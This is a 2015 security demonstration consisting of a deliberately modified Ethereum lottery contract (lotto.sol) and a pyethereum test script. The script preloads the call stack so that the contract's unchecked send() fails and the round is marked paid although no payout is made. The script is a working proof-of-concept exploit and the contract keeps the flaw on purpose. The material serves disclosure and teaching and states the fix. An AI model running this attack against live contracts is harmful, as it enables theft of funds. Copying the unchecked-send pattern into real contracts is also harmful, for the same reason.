Illustration of the Ethereum call-stack hazard found in the wild

lotto.sol

//    Call stack hazards in Solidity!!
//
// This file is *slightly* modified relative to 
// https://github.com/etherpot/contract/blob/f87501ddf319559346b2983b27770ace22771ad0/app/contracts/lotto.sol
// in order to demonstrate a flaw:
// Changes:
// - function () changed to function send()
// - function trigger() added
// - blocksPerRound changed from 6800 to 6
//
// See test_etherpot.py for details

contract Lotto {
    
    uint constant public blocksPerRound = 6;
    // there are an infinite number of rounds (just like a real lottery that takes place every week). `blocksPerRound` decides how many blocks each round will last. 6800 is around a day.

    uint constant public ticketPrice = 100000000000000000;
    // the cost of each ticket is .1 ether.

    uint constant public blockReward = 5000000000000000000;

    function getBlocksPerRound() constant returns(uint){ return blocksPerRound; }
    function getTicketPrice() constant returns(uint){ return ticketPrice; }
    //accessors for constants

    struct Round {
        address[] buyers;
        uint pot;
        uint ticketsCount;
        mapping(uint=>bool) isCashed;
        mapping(address=>uint) ticketsCountByBuyer;
    }
    mapping(uint => Round) rounds;
    //the contract maintains a mapping of rounds. Each round maintains a list of tickets, the total amount of the pot, and whether or not the round was "cashed". "Cashing" is the act of paying out the pot to the winner.

    function getRoundIndex() constant returns (uint){
        //The round index tells us which round we're on. For example if we're on block 24, we're on round 2. Division in Solidity automatically rounds down, so we don't need to worry about decimals.
        
        return block.number/blocksPerRound;
    }

    function getIsCashed(uint roundIndex,uint subpotIndex) constant returns (bool){
        //Determine if a given.
        
        return rounds[roundIndex].isCashed[subpotIndex];
    }


    function calculateWinner(uint roundIndex, uint subpotIndex) constant returns(address){
        //note this function only calculates the winners. It does not do any state changes and therefore does not include various validitiy checks

        var decisionBlockNumber = getDecisionBlockNumber(roundIndex,subpotIndex);

        if(decisionBlockNumber>block.number)
            return;
        //We can't decided the winner if the round isn't over yet

        var decisionBlockHash = getHashOfBlock(decisionBlockNumber);
        var winningTicketIndex = decisionBlockHash%rounds[roundIndex].ticketsCount;
        //We perform a modulus of the blockhash to determine the winner

        var ticketIndex = uint256(0);

        for(var buyerIndex = 0; buyerIndex<rounds[roundIndex].buyers.length; buyerIndex++){
            var buyer = rounds[roundIndex].buyers[buyerIndex];
            ticketIndex+=rounds[roundIndex].ticketsCountByBuyer[buyer];

            if(ticketIndex>winningTicketIndex){
                return buyer;
            }
        }
    }

    function getDecisionBlockNumber(uint roundIndex,uint subpotIndex) constant returns (uint){
        return ((roundIndex+1)*blocksPerRound)+subpotIndex;
    }

    function getSubpotsCount(uint roundIndex) constant returns(uint){
        var subpotsCount = rounds[roundIndex].pot/blockReward;

        if(rounds[roundIndex].pot%blockReward>0)
            subpotsCount++;

        return subpotsCount;
    }

    function getSubpot(uint roundIndex) constant returns(uint){
        return rounds[roundIndex].pot/getSubpotsCount(roundIndex);
    }

    function cash(uint roundIndex, uint subpotIndex){

        var subpotsCount = getSubpotsCount(roundIndex);

        if(subpotIndex>=subpotsCount)
            return;

        var decisionBlockNumber = getDecisionBlockNumber(roundIndex,subpotIndex);

        if(decisionBlockNumber>block.number)
            return;

        if(rounds[roundIndex].isCashed[subpotIndex])
            return;
        //Subpots can only be cashed once. This is to prevent double payouts

        var winner = calculateWinner(roundIndex,subpotIndex);    
        var subpot = getSubpot(roundIndex);

        winner.send(subpot);

        rounds[roundIndex].isCashed[subpotIndex] = true;
        //Mark the round as cashed
    }

    function getHashOfBlock(uint blockIndex) constant returns(uint){
        return uint(block.blockhash(blockIndex));
    }
    
    function getBuyers(uint roundIndex,address buyer) constant returns (address[]){
        return rounds[roundIndex].buyers;
    }

    function getTicketsCountByBuyer(uint roundIndex,address buyer) constant returns (uint){
        return rounds[roundIndex].ticketsCountByBuyer[buyer];
    }

    function getPot(uint roundIndex) constant returns(uint){
        return rounds[roundIndex].pot;
    }

    // [amiller]: I added this shim to make it easier to call from Serpent
    function trigger() {
        this.cash(0, 0);
    }

    // [amiller]: I changed this from default func to 
    function send() {
        //this is the function that gets called when people send money to the contract.

        var roundIndex = getRoundIndex();
        var value = msg.value-(msg.value%ticketPrice);

        if(value==0) return;

        if(value<msg.value){
            msg.sender.send(msg.value-value);
        }
        //no partial tickets, send a partial refund 

        var ticketsCount = value/ticketPrice;
        rounds[roundIndex].ticketsCount+=ticketsCount;

        if(rounds[roundIndex].ticketsCountByBuyer[msg.sender]==0){
            var buyersLength = rounds[roundIndex].buyers.length++;
            rounds[roundIndex].buyers[buyersLength] = msg.sender;
        }

        rounds[roundIndex].ticketsCountByBuyer[msg.sender]+=ticketsCount;
        rounds[roundIndex].ticketsCount+=ticketsCount;
        //keep track of the total tickets

        rounds[roundIndex].pot+=value;
        //keep track of the total pot

    }

}

test_etherpot.py

# test_etherpot.py - Andrew Miller <amiller@cs.umd.edu> Aug 27, 2015
# 
# This test file illustrates a hazard in Ethereum programming: namely,
# that a send() instruction can fail if the callstack reaches depth 1024.
#
# It's a common mistake not to check whether send() succeeded.
# Even if it fails, a naive contract might carry on with its execution,
# modifying state or sending other messages.
#
# An attacker can exploit this by sending a message to the flawed contract
# with the callstack already preloaded at depth 1023.
#
# This flaw is present in the Etherpot example, which is *ALREADY DEPLOYED* 
# on the live Frontier network, with real Ether at stake. The following 
# pyethereum code demonstrates the problem.
#
# The right thing to do is to check the return code from send(), and
# abort the transaction if it fails.
#
# Requirements:
#    pyethereum 
# How to run:
#    python test_etherpot.py
#
# History:
# - This contract-writing hazard was reported in the Least Authority
#     security / incentives analysis
#      https://github.com/LeastAuthority/ethereum-analyses/blob/master/GasEcon.md#callstack-depth-limit-errors

# - See also:
#      Step by Step Towards Creating a Safe Smart Contract: Lessons and Insights from a Cryptocurrency Lab
#      Kevin Delmolino, Mitchell Arnett, Ahmed Kosba, Andrew Miller, and Elaine Shi
#      https://eprint.iacr.org/2015/460
#

from ethereum import tester
from ethereum import processblock
from ethereum import slogging
slogging.set_level('eth.pb.tx', 'warning')
slogging.set_level('eth.vm.log', 'trace')

# This code defines a function recurse(n), that loads up the callstack
# with `n` nested calls, and finally calls the trigger() function of
# a victim contract.
#
# Note: I found it easier to write this sort of code in Serpent than Solidity,
#  because in Solidity I ran out of stack space (value stack, not callstack).
#  This is probably due to my inexperience with Solidity.

recurse_code = """
extern c1: [trigger]
def recurse(c1, n):
    if n == 0: 
      c1.trigger()
    else: 
      self.recurse(c1, n-1)
"""

def test_recursive(n=1021):
    s = tester.state()
    tester.gas_limit = 20000000

    recurser = s.abi_contract(recurse_code, language='serpent')

    # Create the lotto contract
    contract = s.abi_contract(open('lotto.sol').read(), language='solidity')
    print 'lotto done'

    # Send some money to the lotto
    contract.send(value=100000000000000000, sender=tester.k2)
    
    print 'Contract balance:', s.block.get_balance(contract.address)
    print 'isCashed:', contract.getIsCashed(0, 0)
    
    print 'Mining ten blocks (for pretend)...,'
    s.mine(n=10, coinbase=tester.a0)

    # Load up the callstack to depth-n, then try to 'cash' the lotto
    recurser.recurse(contract.address, n)
    print 'Final contract balance:', s.block.get_balance(contract.address)
    print 'isCashed:', contract.getIsCashed(0, 0)
    
    # Check if the attack worked
    if contract.getIsCashed(0, 0) and s.block.get_balance(contract.address) > 0:
        print '==============================='
        print 'INVARIANT VIOLATION DETECTED!!!'
        print '==============================='
        print 'isCashed was set, but the payout was never made!'
    
print 'Trying with n=1021 (should be OK)'
test_recursive(n=1021)
print 'Trying with n=1023 (should fail, but that is OK)'
try:
    test_recursive(n=1023)
except: 
    print 'benign exception caught'
print 'Trying with n=1022 (uh oh....)'
test_recursive(n=1022)